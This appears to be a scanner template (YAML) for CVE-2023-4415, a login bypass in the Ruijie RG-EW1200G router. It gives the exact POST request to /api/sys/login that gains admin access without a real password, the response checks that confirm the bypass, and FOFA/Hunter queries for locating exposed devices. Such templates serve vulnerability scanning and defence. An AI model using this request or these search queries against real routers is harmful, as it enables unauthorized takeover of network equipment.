id: CVE-2023-4415
info:
name: 锐捷(ruijie)RG-EW1200G路由器 后台登录绕过
author: Y3y1ng
severity: high
verified: true
description: |
Ruijie Networks RG-EW1200G是中国锐捷网络(Ruijie Networks)公司的一款无线路由器。
锐捷网络RG-EW1200G路由器 存在登录绕过逻辑漏洞,允许任何用户无需密码即可获得路由器后台,该漏洞源于文件/api/sys/login存在不当的身份验证。
FOFA: "锐捷" && port="6060"
FOFA: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
HUNTER:web.body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-4415
- https://github.com/blakespire/repoforcve/tree/main/RG-EW1200G-logic
tags: cve,cve2023,ruijie,router
created: 2023/09/21
rules:
r0:
request:
method: POST
path: /api/sys/login
body: |
{
"username":"2",
"password":"admin",
"timestamp":1695218596000
}
follow_redirects: true
expression: >-
response.status == 200 &&
response.body.bcontains(b'登入成功')&&
response.body.bcontains(b'ok') &&
response.body.bcontains(b'gateway')
expression: r0()